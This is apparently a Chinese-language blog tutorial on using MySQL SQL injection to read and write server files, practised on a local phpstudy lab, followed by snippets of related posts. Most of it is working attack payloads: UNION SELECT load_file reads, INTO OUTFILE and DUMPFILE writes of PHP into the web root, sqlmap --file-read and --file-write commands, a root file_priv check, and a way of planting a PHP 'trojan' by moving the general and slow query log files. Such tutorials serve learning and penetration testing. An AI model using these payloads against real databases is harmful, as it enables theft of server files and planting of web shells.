SQL注入檔案讀寫總結

2022-06-17 16:54:14 字數 2350 閱讀 2647

sql注入漏洞除了可以對資料庫進行資料的查詢之外,還可以對的伺服器的檔案進行讀寫操作。

靶場:
首先在d盤根目錄下新建乙個test.txt檔案,為要讀取的目標檔案,內容為:好好學習,天天向上!

語句: select load_file(『檔案路徑』)

union select 1,2,load_file('d:')--+

語句:--file-read 檔案路徑   從資料庫伺服器中讀取檔案

python sqlmap.py -u "" --file-read "d:/test.txt"

select '<?php phpinfo() ?>' into outfile  '目的檔案'          

select '<?php phpinfo() ?>' into dumpfile '目的檔案' (用於二進位制檔案)

union select 1,2,'' into dumpfile 'd:\phpstudy_pro\www\a.php'--+

訪問成功,檔案已寫

union select 1,2,'' into outfile 'd:\phpstudy_pro\www\b.php'--+

訪問成功,檔案已寫

語句:--file-write 本地檔案 --file-dest 目的檔案
例:將本地d:/test.txt檔案,寫入d:/phpstudy_pro/www/aa.php中

python sqlmap.py -u "" --file-write "d:/test.txt" --file-dest "d:/phpstudy_pro/www/aa.php"
訪問成功,檔案已寫

使用者許可權足夠高,盡量具有root許可權。

secure_file_priv 選項不對檔案讀寫許可權限制

知道絕對物理路徑

能夠使用聯合查詢(sql注入時)

and (select file_priv from mysql.user where user='root' and host='localhost')='y'%23
secure_file_priv引數用來限制資料匯入和匯出操作的效果

show global variables like '%secure%';
mysql 5.6.34版本以後,配置檔案預設沒有secure_file_priv這個選項,實際為null。並且無法用sql語句對其進行修改,只能夠通過修改以下檔案。

windows下 my.ini

[mysqld]

secure_file_priv=

linux下 cat /etc/my.cnf

[mysqld]

secure_file_priv=

通過日誌檔案,原理都是修改日誌存放的路徑及檔案,通過執行操作把木馬存入修改後的日誌中,達到寫入木馬的目的。

show variables like 'general_log%';       查詢日誌

show variables like '%slow_query_log%';   慢查詢日誌

set global general_log = 'on';   查詢日誌

set global slow_query_log=1; 慢查詢日誌

set global general_log_file="d:/phpstudy_pro/www/test.php";    查詢日誌

set global slow_query_log_file='d:/phpstudy_pro/www/test.php』; 慢查詢日誌

預設日誌路徑已更改

select '<?php phpinfo() ?>';                 查詢日誌

select '<?php phpinfo() ?>' or sleep(11); 慢查詢日誌

命令執行時間超過long_query_time設定的值(預設10s),則會儲存至慢查詢日誌。

檢視long_query_time設定的值

show global variables like '%long_query_time%';

sql注入之 讀寫檔案,帶外攻擊

在my.ini加上secure file priv secure file priv 代表對檔案讀寫沒有限制 secure file priv null代表不能進行檔案讀寫 secure file priv d 代表只能對改路徑下檔案進行讀寫 函式 load file 語句 id 1 union s...

SQL注入總結

在大部分語言中都一樣是注釋。這個之中的語句是不被執行的。但mysql中 為了保持相容,比如從mysqldump 匯出的sql語句能被其它資料庫直接使用,它把一些特有的僅在mysql上的語句放在 中,這樣這些語句如果在其他資料庫中是不會被執行,但在mysql中它會執行。僅當mysql的版本等於或高於指...

sql注入總結

第一天 url 統一資源定位符 協議 主機號 目錄 注釋符 20 代表空格 order by 15 閉合條件為 猜測列數 union all select 1,2,3 猜測顯示位 select schema name from information schema.schemata 查庫名 sele...